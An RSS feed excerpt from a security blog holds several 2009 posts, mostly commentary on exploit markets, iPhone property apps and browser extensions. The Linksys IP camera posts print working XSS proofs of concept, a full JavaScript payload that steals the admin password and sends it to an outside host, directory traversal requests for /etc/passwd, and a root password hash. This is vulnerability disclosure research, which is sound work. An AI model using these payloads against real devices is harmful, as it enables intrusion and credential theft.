<p>A finally mount it on our hardrive:</p>

<pre><code>$ sudo mkdir /mnt/test
$ sudo mount -t <strong>squashfs</strong> fs.img /mnt/test -o ro,loop
$ ls /mnt/test/
bin  dev  etc  lib  mnt  proc  root  sbin  tmp  usr  var</code></pre><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-5/feed/</wfw:commentRss>
		<slash:comments>17</slash:comments>
		</item>
		<item>
		<title>Breaking Into a Home With an iPhone</title>
		<link>http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/</link>
		<comments>http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/#comments</comments>
		<pubDate>Mon, 11 May 2009 11:27:16 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[web]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3211</guid>
		<description><![CDATA[This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.



Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. [...]]]></description>
			<content:encoded><![CDATA[<p>This is going to be one of these quick posts which just makes you think what the information security landscape will be like in 5 years. Before I move on with my commentary, here is a video which is essential for you to watch.</p>

<div class="screen"><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/rJfrdcbfXsc&#038;hl=en&#038;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="560" height="340"></embed></object></div>

<p>Got the idea? No? Let me explain. What you see in the video above is an application for the iPhone which gives you detailed characteristics of properties (houses) in USA. You can either search the map or just use your GPS coordinates to get information such as price of the house, number of floors, number of rooms, pictures taken from inside the house if the house was part of any register (letting agencies etc.) before you moved in, and other interesting information.</p>

<p>This is the kind of information gathering you see only in the movies. I won&#8217;t be surprised if future versions of these kind of applications can pool even essential blueprints which show not only how the house was constructed from architectural point of view but also show the power and gas grids and perhaps even any other wiring such as telephone, coaxial, etc.</p>

<p>All of this information is also available through easily accessible APIs. Perhaps these APIs are not publicly known but anyone who can run a sniffer most certainly can get hold of the URLs and their formats. Now mash this APIs with any other tool such as one that correlates IP address to physical location (not very accurate btw) or better yet a wardriving tool and you have a infowar machine in your pocket that will make any criminal organization proud of.</p>

<p>This was the main purpose of my <a href="http://www.gnucitizen.org/blog/for-my-next-trick-hacking-web20/">Web2.0 talk/research</a> from two years ago. Back then I made a very simple analogy which I would like to bring once again. When the email was invented nobody even suspected that it will be used for things such as spam and malware. That was something unimaginable. Today spam is the fastest growing criminal industry and malware delivered over email is the most successful one. In summary, we cannot foresee how a technology will be used/abused. That depends on the imagination of the people.</p>

<p>The same goes for the Web2.0 meme. The more we use it, the more ways we will find to abuse it. However it is also important to say that the more we use it the more accustomed we will become to it. Therefore, when the shit hits the fan there will be very little that we can do.</p>

<p><em>The reason I am bringing this up is not because I would like to start even more FUD around the Web2.0 mem but it is time for us to stop looking into the technical aspects and start thinking in terms of technologies that affect normal people. Sometimes, we just lack the realism and we fail to spot the obvious problems.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/breaking-into-a-home-with-an-iphone/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Extensions at War</title>
		<link>http://www.gnucitizen.org/blog/extensions-at-war/</link>
		<comments>http://www.gnucitizen.org/blog/extensions-at-war/#comments</comments>
		<pubDate>Sun, 03 May 2009 08:37:28 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[#nomorefreebugs]]></category>
		<category><![CDATA[cyber warfare]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[security]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3171</guid>
		<description><![CDATA[Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The story goes that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&#8217;t know why. [...]]]></description>
			<content:encoded><![CDATA[<p>Oh yes, the digital battlefield is taking unusual shapes. The latest manifestation of cyber warfare is a conflict between the Adblock Plus and the NoScript extensions. The <a href="http://adblockplus.org/blog/attention-noscript-users">story goes</a> that NoScript used some JavaScript tactics and, of course, some obfuscations in order to cripple the Adblock Plus functionalities. This attack was a response to Adblock Plus blocking NoScript ads which you see when you upgrade the extension, which as you know happens quite regularly, don&#8217;t know why.</p>

<p>The conflict seems to be resolved now to one degree or another but it is interesting to observe the whole situation and also draw important conclusions. Therefore, I&#8217;ve got several points I would like to bring to the table:</p>

<ol>
<li>More examples of similar nature will follow. Keep an eye on Facebook, Apple AppStore, Firefox and other platforms that allow 3rd-party components to be displayed, downloaded and executed.</li>
<li><a href="http://www.gnucitizen.org/blog/firefox-malware/">As I mentioned before</a>, a malicious piece of JavaScript code (even an obvious obfuscation) can be quite easily smuggled into harmlessly looking Firefox extensions. If I may speculate, the situation is the same for other similar platforms.</li>
<li>Unless platform vendors do something about it, they could become the next hot spot for all sorts of interesting malware.</li>
</ol>

<p><em>It is also very interesting to see the extend to which extension developers will go in order to protect their userbase. After all, larger userbase equals more money. And with <a href="http://blog.trailofbits.com/2009/03/22/no-more-free-bugs/">more people looking to quickly cache in</a>, the battlefield is truly changing for better or worse.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/extensions-at-war/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Exploit Sweatshop</title>
		<link>http://www.gnucitizen.org/blog/exploit-sweatshop/</link>
		<comments>http://www.gnucitizen.org/blog/exploit-sweatshop/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 12:04:47 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[sweatshop]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3141</guid>
		<description><![CDATA[When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce. [...]]]></description>
			<content:encoded><![CDATA[<p>When I was playing/introducing the partial disclosure practice an year and something ago, I did get contacted by numerous dodgy characters willing to buy yet undisclosed vulnerabilities for substantial amount of money. Of course, requests of that nature were kindly ignored. I couldn&#8217;t believe that someone was willing to give me so much money for something I virtually spent 2-3 hours maximum to produce.</p>

<p>Later on, during the CONFidence 2008 event in Krakow I met a bunch of people who claimed that they already sell exploits to various UK companies and the figures that they were making were outstanding. To give you a clue, given the pound dollar difference at that time, you could have made 6 times more than what ZDI and other similar programs can offer you for a top range exploit. This is already better than a top salary in UK.</p>

<p>Same year, different event&#8230;  I saw an interesting presentation by Robert McArdle from Trend Micro. The presentation was titled <q>Fighting web Based, Profit-Driven Threats</q>. On one of his slides, Robert commented that <q>cybercrime is becoming more profitable than the drug cartels</q>. Perhaps you wont be able to make as much money from carding as you might expect but you can do quite well selling visualized stuff, such as exploits and exploit toolkits.</p>

<p>Present times, DojoSec Monthly Briefings&#8230; Matthew Watchinski from Sourcefire VRT <a href="http://vimeo.com/4110571">talked</a> about a PDF 0day spreading around Xmas time. The exploit took a couple of good months for Adobe to fix it. The author sold it for 75K to a unknown 3rd-party in China according to Matthew. The vulnerability was also relatively easy to find and required very little experience to exploit.</p>

<p>All of this leads to the very obvious conclusion which is that at present times cybercrime is a flourishing industry. Soon, there will be even more recruits coming to join the dark-side forces of the cybercrime cartels. They will do it for the money!</p>

<blockquote>No more free bugs you say? I say that <strong>you</strong> are leading people to become the next generation of cyber menace. Perhaps you forgot that the information security community was built on and thrived because of a simple but fundamental principle: knowledge must be free.</blockquote>

<h3>Sell The Bugs</h3>

<p>Regardless how good these figures may sound to you, you need to take a step back and think really well what you are getting into. Here are a few points that you need to consider before selling exploits:</p>

<ul>
<li><strong>Cybercrime is not a joke</strong> &#8211; If you get caught selling exploits to a dodgy 3rd-party you may end up with a prison sentence longer than the sentence of a child molester. If you live in US or UK you could be charged and treated as a terrorist which will completely destroy not only your life but the life of your closes people.</li>
<li><strong>TAX man problems</strong> &#8211; Oh Yes! Unjustifiable incomes could get you in trouble with the TAX man. The TAX man will hunt you and hurt you.</li>
<li><strong>Broken legs and other broken parts of the body</strong> &#8211; You have no idea to whom you are selling to. Tomorrow you may wake up with broken legs and twice as poorer as the day before.</li>
<li><strong>Even worse</strong> &#8211; People will kill for a lot less than 75K. Keep that in mind.</li>
</ul>

<p>In my humble opinion, exploit brokerage is a risky business. There is an unquantifiable risk associated with this practice and that is only due to the high price of exploits which are sold today.</p>

<h3>Exploit Sweatshop</h3>

<p>Nevertheless, it is just silly to believe that no one is producing and selling exploits in a large scale. Do you remember the numerous gaming sweatshops which sprung up like wild mushrooms after the recent heavy rains in 3rd-world countries? I recall seeing a documentary on a typical day in a Chinese WoW sweatshop. I remember I saw a room full of almost naked people, numerous PCs hooked up into a gigantic DIY network spreading across the entire floor. Most of the WoW accounts were fully automated, running from virtualized platforms.</p>

<p>The aim was simple: <strong>a)</strong> develop many characters in a semi-automated fashion by killing small animals and other things around the WoW world and <strong>b)</strong> sell the characters plus other artifacts to western buyers for a substantial amount of money. All of this can be achieved for as little as $70 a month per person. This is a remarkable business model which works extremely well.</p>

<p>Similarly, all you need is a bunch of programmers from India, China, or Eastern Europe to code up fuzzers and run them against as many software products as possible. At the end of the day memory corruption exploits a relative easy to detect. All you need is a crash caused by putting far too many 0&#215;41 in a buffer. The crash is already an indication that something is wrong. It requires a bit of manual work to figure out whether the crash is exploitable. From personal experience, and by looking into the work of my peers, it takes approximately 10 days to develop a crash into an exploit. Most of the times, the exploitability factor of a crash is apparent and therefore no time needs to be wasted. Other times, a crash can be archived for future investigation when it could become exploitable given it meets the necessary conditions.</p>

<p>Perhaps you can do all that by paying someone as little as $70 a month as it is the case with WoW sweatshops. That is 3 times less than what I am paying for just hosting. Therefore, I most certainly can afford to hire 3-4 people right now and even double their salaries, but let&#8217;s do the maths:</p>

<pre><code># average exploit price: <strong>$5000</strong>
# number of people to hire: <strong>5</strong>
# average monthly salary: <strong>$100</strong>
# job specs: <strong>write fuzzers</strong>

5 * 100 = $500 # a month expenses
5000 / 500 = 10 # months worth of work</code></pre>

<p>Heck, I can even put this bill on my credit card and pay as little as $50 a month. The chances that I will sell an exploit for $5K in the next 10 months are pretty high. $5K is only if I go with a legitimate company. I can probably make 6 times more by selling it to a dodgy 3rd-party. The only thing I need to worry about is the risk.</p>

<h3>Some Final Words</h3>

<p>Finally, I know that a lot of people are into the security business because of all the romanticism and the myths surrounding the <q>hacker</q> figure. Things look different once you become the hacker and your day job and lifestyle are surrounded by hacking and breaking into systems of any sort. There is nothing romantic about it.</p>

<p><em>So, don&#8217;t get into trouble for the wrong reasons. If you are young and you need advice what to do with your career, contact us or contact any one who has been into this industry long enough to give you a good and sensible advice. Just don&#8217;t jump onto the <q>No free bugs!</q> bandwagon.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/exploit-sweatshop/feed/</wfw:commentRss>
		<slash:comments>36</slash:comments>
		</item>
		<item>
		<title>Jeriko Group and Source Code Repository</title>
		<link>http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/</link>
		<comments>http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/#comments</comments>
		<pubDate>Tue, 28 Apr 2009 06:50:39 +0000</pubDate>
		<dc:creator>pdp</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[announcement]]></category>
		<category><![CDATA[jeriko]]></category>
		<category><![CDATA[project]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3130</guid>
		<description><![CDATA[Jeriko moved in its own source code repository which you will be able to find here. There is also a discussion group here, if you feel like using it.

The version inside the new code repository is very different from the version you&#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. [...]]]></description>
			<content:encoded><![CDATA[<p>Jeriko moved in its own source code repository which you will be able to find <a href="http://code.google.com/p/jeriko/">here</a>. There is also a discussion group <a href="http://groups.google.com/group/Jeriko">here</a>, if you feel like using it.</p>

<p>The version inside the new code repository is very different from the version you&#8217;ve seen before. The main difference is that while the old version is basically a collection of scripts, the new version implements its own shell (wrapper around bash) which does the heavily lifting and also introduces some funky programming mechanisms. For example, now you can create jeriko scripts like this:</p>

<pre><code>#/usr/bin/env jeriko
# do my jeriko commands here
foreach-input | add-targets
generate-scan-batch | run-in-parallel</code></pre>

<p>This is perhaps the simplest possible script you can write but you see that the jeriko shell could turn into a quite powerful feature. The shell is also a good starting point for many penetration testing jobs as it does some environment checking and preconfigures some defaults for you. The other good news is that you don&#8217;t have to learn a new programming language. Your bash skills are good for jeriko too.</p>

<p><em>Just keep in mind that jeriko is merely an experiment. However, I realize that it has already become quite useful for some people. So, if you enjoy playing with bash scripts, and you you feel adventurous, please join us and make this project happen.</em></p><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/jeriko-group-and-source-code-repository/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 4)</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/#comments</comments>
		<pubDate>Sat, 25 Apr 2009 03:28:38 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3070</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2), Hacking Linksys IP Cameras (pt 3).

There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/">Hacking Linksys IP Cameras (pt 3)</a>.</em></p>

<p>There are two types of vulnerabilities I will be releasing today: disclosure of credentials in client-side source code and multiple XSS.</p>

<h3>Disclosure of Credentials in Client-side Source Code</h3>

<p>As a consumer of embedded products, I find highly frustrating to see how many devices&#8217; web interfaces return passwords back to the browser within HTML source code. I&#8217;ve also seen similar problems in some corporate appliances, but is not such as common problem within the enterprise realm.</p>

<p>Visiting the change admin password page:</p>

<pre><code>/adm/file.cgi?next_file=pass_wd.htm</code></pre>

<p>Causes the current admin password to be returned (just view the source code with your browser):</p>

<pre><code>&lt;input type=&quot;password&quot; size=&quot;8&quot; maxlength=&quot;64&quot; name=&quot;admpw&quot; value=&quot;<strong>C4mP4ssw0rd</strong>&quot; onKeyDown=&quot;chkPsize(this.value.length,64,msg_bigpw)&quot;&gt;</pre></code>

<p>Visiting the "Wireless Security Page":</p>

<pre><code>/adm/file.cgi?next_file=Wsecurity.htm</code></pre>

<p>Causes the Wi-Fi WEP/WPA/WPA2 encryption key to be returned to the browser:</p>

<pre><code>&lt;input type=&quot;text&quot; name=&quot;psk&quot; size=&quot;24&quot; maxlength=&quot;63&quot; value=&quot;<strong>mywirelesskey</strong>&quot;&gt;</code></pre>

<p>Obviously this is bad news, as it means that every time the aforementioned pages are visited, credentials travel the clear (the WVC54GCA IP camera doesn't have SSL/TLS support).</p>

<p>Now, I know there are people out there who might find these types of issues not worth fixing. The following is the thinking behind their reasoning.</p>

<p>In the case of the admin password disclosure, some people would argue that this issue wouldn't make a difference security-wise, since the camera uses <a href="http://en.wikipedia.org/wiki/Basic_access_authentication">basic authentication</a> which transmits credentials in the clear (base64 encoding) anyway.</p>

<p>In the case of the wireless encryption key disclosure, some individuals point out that if you can sniff the Wi-Fi encryption key, it means that either 1) you're already part of the wireless network which means you must already know the key, or 2) you are part of the network via an ethernet connection which means that you don't need the wireless key at all.</p>

<p>So why fix these issues then? Well, think of client-side attacks for instance. If you keep reading I'll show you how you can (for instance) use XSS to steal the admin password from the aforementioned page. If the admin password wasn't returned by the web interface, this attack would not be possible, despite basic authentication being used by the camera.</p>

<h3>Several XSS bugs</h3>

<p>Yes, XSS is the roach of the Internet, it's everywhere and we can't seem to be able to get rid of it! Of course, Linksys IP cameras are no exception. Finding XSS vulns requires virtually no skills (unless you are trying to bypass a strict filter logic). Also, hunting for XSS vulns can be kind of boring. As pdp usually says, "it's not finding XSS bugs which is interesting, but what you can do with it". I couldn't agree more.</p>

<p>Boring PoCs:</p>
<pre><code>/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/img/main.cgi?next_file=%3Cimg%20src%3dx%20onerror%3dalert(1)%3E</code></pre>
<pre><code>/adm/file.cgi?next_file=%3Cscript%3Ealert(1)%3C/script%3E</code></pre>
<pre><code>/adm/file.cgi?todo=xss&#038;this_file=%3cscript%3ealert(1)%3c/script%3e</pre></code>

<p>XSS bug #1 works regardless of the authentication state of the victim user. The rest do require the victim user to be logged-in for the injected JS to run within the context of the camera's domain sandbox.</p>

<p>As you can see in the first two XSS vulns, we use <code>img</code> tags, rather then <code>script</code> tags, due to closing <code>script</code> tags being filtered. Once again, the developers have chosen to perform filtering against some parameters, albeit poor filtering.</p>

<h4>Admin Password theft XSS PoC</h4>

<p>The following is the PoC exploit which steals the admin user's password.</p>

<pre><code>// <strong>evil.js</strong> : malicious JS file, typically located on attacker's site
// payload description: steals Linksys WVC54GCA admin password via XSS
// tested on FF3 and IE7
// based on code from developer.apple.com
function loadXMLDoc(url) {
	req = false;
    	// branch for native XMLHttpRequest object
    	if(window.XMLHttpRequest &amp;&amp; !(window.ActiveXObject)) {
    		try {	
			req = new XMLHttpRequest();
        	} 
		catch(e) {
			req = false;
        	}
    	} 
    	// branch for IE/Windows ActiveX version	
	else if(window.ActiveXObject) {
       		try { 
        		req = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
      		} 
		catch(e)  {
        		try {
          			req = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
        		} 
			catch(e) {
          			req = false;
        		}
		}
    	}
	if(req) {
		req.onreadystatechange = processReqChange;
		req.open(&quot;GET&quot;, url, true);
		req.send(&quot;&quot;);
	}
}
// end of loadXMLDoc(url)

function processReqChange() {
   	// only if req shows &quot;loaded&quot;
    	if (req.readyState == 4) {
        	// only if &quot;OK&quot;
        	if (req.status == 200) { 
			// dirty credentials-scraping code
			var bits=req.responseText.split(/\&quot;/);	
			var gems=&quot;&quot;;
			for (i=0;i&lt;bits.length;++i) { 
                                if(bits[i]==&quot;adm&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                               		gems+=&quot;login=&quot;; 
					gems+=bits[i+2];
                                }
                                if(bits[i]==&quot;admpw&quot; &amp;&amp; bits[i+1]==&quot; value=&quot;) {      
                                       	gems+=&apos;&amp;password=&apos;; 
					gems+=bits[i+2];    
                                }
			}
			alert(gems); // this line is for demo purposes only and would be removed in a real attack
			c=new Image();
			c.src=&apos;http://google.com/x.php?&apos;+gems; // URL should point to data-theft script on attacker&apos;s site
        	} 
    	}
}

var url=&quot;/adm/file.cgi?next_file=pass_wd.htm&quot;;
loadXMLDoc(url);</code></pre>

<pre><code>http://192.168.1.115/adm/file.cgi?next_file=%3cscript%20src=http://evil.foo/<strong>evil.js</strong>%3e%3c/script%3e</code></pre>

<p>If you capture the traffic while testing the exploit against yourself you will see the admin login and password being sent to google.com:</p>

<div class="screen"><img src="http://www.gnucitizen.org/static/blog/2009/04/screenshot-eth1-capturing-wireshark1.png" alt="Screenshot eth1 Capturing Wireshark 1" title="Screenshot eth1 Capturing Wireshark 1" width="505" height="189" class="alignnone size-full wp-image-3100" /></div>

<h4>Attack Requirements</h4>

<p>In order for this exploit to work, the camera admin user must be logged in when the attack occurs. This means that a bit of social engineering is required. For instance, the attacker could setup a forum to help users of the WVC54GCA camera by providing tips, FAQs, etc. If the attacker is serious he could use <a href="http://www.timesonline.co.uk/tol/driving/article754974.ece">black hat SEO</a> and ad campaigns such as Google AdWords to attract Linksys camera users to visit the site containing the malicious XSS URLs. You get the idea!</p>

<h3>Testing Info</h3>

<p>All Disclosure of Credentials and XSS vulnerabilities successfully tested on:</p>
<ul>
<li>WVC54GCA</li>
<li>Firmware V1.00R22 and V1.00R24 (latest available as on 23rd April 2009)</li>
</ul><p>---<br/>recent posts from the gnucitizen network:</p><p><a href="http://blog.websecurify.com/2012/02/cold-coffe-code.html">Cold, Coffe, Code</a><br/><a href="http://blog.websecurify.com/2012/02/upcoming-websecurify-mobile.html">The Upcoming Websecurify Mobile</a><br/><a href="http://blog.websecurify.com/2012/01/websecurify-102-for-windows-and-mac-has.html">Websecurify 1.0.2 for Windows and Mac has Arrived</a><br/><a href="http://blog.websecurify.com/2011/12/collage-of-websecurifys-evolution.html">A Collage of Websecurify's Evolution</a><br/><a href="http://blog.websecurify.com/2011/12/websecurifys-debute-on-itunes-and-mac.html">Websecurify's Debute on ITunes and Mac App Stores</a><br/></p>]]></content:encoded>
			<wfw:commentRss>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-4/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Hacking Linksys IP Cameras (pt 3)</title>
		<link>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/</link>
		<comments>http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/#comments</comments>
		<pubDate>Thu, 23 Apr 2009 00:52:28 +0000</pubDate>
		<dc:creator>pagvac</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[camera]]></category>
		<category><![CDATA[embedded]]></category>
		<category><![CDATA[linksys]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">https://www.gnucitizen.org/?p=3019</guid>
		<description><![CDATA[This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: Hacking Linksys IP Cameras (pt 1), Hacking Linksys IP Cameras (pt 2).

Unlike the previous two vulnerabilities I released, the vulnerabilities I&#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. [...]]]></description>
			<content:encoded><![CDATA[<p><em>This article is a continuation of the following GNUCITIZEN articles, which include an introduction to the topic and also some initial observations: <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">Hacking Linksys IP Cameras (pt 1)</a>, <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">Hacking Linksys IP Cameras (pt 2)</a>.</em></p>

<p>Unlike the <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-1/">previous</a> <a href="http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-2/">two</a> vulnerabilities I released, the vulnerabilities I&#8217;m releasing in this post are perhaps not so useful to break into the device as you need access to the admin account to exploit them. Nevertheless, these vulnerabilities might be useful for users who want to hack their Linksys IP cameras for modding purposes, rather than being used by an attacker aiming to crack into someone else&#8217;s camera.</p>

<h3>Two directory traversal vulnerabilities</h3>

<p>Today, instead of releasing just one vulnerability I&#8217;ll be releasing two! These two vulnerabilities have helped me understand more about how the WVC54GCA wireless camera internals and I&#8217;m hoping they will also work on other Linksys camera models. Please let me know if you successfully test them on other models too!</p>

<p>Both vulnerabilities are of type directory traversal, aka arbitrary file retrieval, and they both affect the same CGI program: <code>/adm/file.cgi</code>. Please note that these vulnerabilities are different to <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2507">CVE-2004-2507</a>/<a href="http://www.securityfocus.com/bid/10476/exploit">BID 10476</a> which affected <code>/main.cgi</code> instead.</p>

<h4>1st directory traversal hole</h4>

<p>It seems that the <code>next_file</code> parameter is not filtered enough when submitted to <code>/adm/file.cgi</code>, so that either of the following requests will return the content of any file whose location is known (<code>/etc/passwd</code> in this case):</p>

<pre><code>/adm/file.cgi?next_file=%2fetc%2fpasswd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2fetc/passwd</code></pre>
<pre><code>/adm/file.cgi?next_file=%2e.%2f%2e.%2f%2e.%2f%2e.%2fetc%2fpasswd</code></pre>

<h4>2nd directory traversal hole</h4>

<p>In the case of the second directory traversal hole, the vulnerable parameter (<code>this_file</code>) is not filtered at all whatsoever. So hex-encoding special symbols is <em>not</em> required:</p>

<pre><code>/adm/file.cgi?todo=pwnage&#038;this_file=/etc/passwd</code></pre>

<p>The following is the content of the Linux <code>passwd</code> file containing the encrypted root password. Remember that the WVC54GCA comes with BusyBox Linux by default which you can confirm by opening <code>bin/busybox</code> with any of the vulnerabilities previously discussed. I&#8217;m curious to know if the <code>passwd</code> file contains the same password on all cameras of the same model, or even if Linksys is also using the same password on other models:</p>

<pre><code>root:9szj4G6pgOGeA:0:0:root:/root:/bin/sh</code></pre>

<p>Notice that when exploiting the first vulnerability, we need to convert forward slashes to <code>%2f</code> which is its hex-encoding equivalent. This is because the developer (poorly) attempted to filter directory traversal sequences when data is submitted via the <code>next_file</code> parameter. In the third example, we also partially hex-encode <code>../</code> sequences in order to avoid being blocked by the script which results in a forbidden error.</p>

